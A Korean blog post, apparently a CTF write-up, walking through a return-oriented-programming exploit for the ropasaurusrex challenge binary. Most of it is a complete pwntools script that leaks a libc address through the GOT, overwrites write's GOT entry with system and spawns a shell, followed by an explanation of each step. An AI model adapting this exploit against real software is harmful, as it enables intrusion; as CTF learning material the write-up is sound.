ROPASAURUSREX

728x90

보호기법

 

from pwn import *
context.log_level = 'debug'

p = process('./ropasaurusrex')
e = ELF('./ropasaurusrex')
pppr = 0x80484b6
bss = e.bss() + 0x100
libc = e.libc

read_got = e.got['read']
read_plt = e.plt['read']
read_offset = e.symbols['read']
write_plt = e.plt['write']
write_got = e.got['write']
payload = "A"*140

#======get read_got===========
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

#======input /bin/sh\x00 at bss=====
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)

#=======input system address at write_got======
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)

#=========system call
payload += p32(write_plt)
payload += "AAAA"
payload += p32(bss)

p.sendline(payload)
leak_read = u32(p.recv(4))
log.info('leak_read= 0x%x' % leak_read)

leak_base = leak_read - libc.symbols['read']
log.info('leak_base= 0x%x' % leak_base)

system = leak_base + libc.symbols['system']

p.send('/bin/sh\x00') # line 24~28
p.send(p32(system)) # line 31~35
p.interactive()

코드 설명

write와 read함수만 있고 이 함수들을 이용하여 주소를 leak하고, 그 주소를 바탕으로 원하는 함수의 offset을 더해서 실제 함수 주소를 구한후 호출한다.

이때 pppr은 가젯의 주소로써, esp 레지스터의 값 조작.

가젯에 대한 설명은 https://d4m0n.tistory.com/80 의 중간 부분에 설명되어 있음.

공격 시나리오

  1. write함수를 통해 read_got의 주소를 구한다. write(1, read_got, 4)을 호출하여 read_got를 출력한다.
  2. read_got의 주소를 구했으면, 구한 주소 - read_got의 offset을 빼주어 파일에서 사용된 실제 라이브러리의 base주소를 구한다.
  3. 라이브러리의 base주소를 구했다면, bss영역에 쉘을 실행시키는 /bin/sh\x00을 넣어준다. bss영역이란 Block Started by symbol의 약어로써, 초기에 오직 제로 값으로 표시된 정적으로 할당된 변수가 포함된 데이터 세그먼트의 일부이며, 컴파일러나 링커에 의해 사용된다. → 즉 초기화되지 않은 전역 데이터를 위한 영역. 출처 →

[Linux] BSS란 무엇인가?

  1. 그 다음 read함수를 이용하여 write_got에 system의 주소를 덮어 씌운다. read(0, write_got, 4).

이렇게 되면 write_got에는 system의 주소가 들어가고, bss영역에는 /binsh\x00이 들어가게 되고, write_got(bss)를 호출하게 되면 실제로는 system(/bin/sh\x00)이 호출되어 쉘을 실행할 수있게 된다.

중요한 점은 해당 바이너리 같은 경우 파일이 존재하지만 다른 ctf문제들은 서버에 접속하는 링크만 주는 경우가 있다. 파일에 적용된 메모리 보호 기법에 따라서 공격방법이 달라지지만 왠만하면 remote서버와 본인의 컴퓨터에서 실행될때의 함수의 주소가 다르기때문에 exploit 코드를 작성할때 이점에 주의해야한다.

728x90

'Pwnable' 카테고리의 다른 글

Ropasaurusrex  (0) 2021.12.30
SSF 2018 FSB  (0) 2021.10.17
값 입력하고 바로 종료될때 메모리 값 보는방법  (0) 2021.10.05
SSTF 2021 - L0st Ark  (0) 2021.08.31
2016 Codegate watermelon  (0) 2021.07.25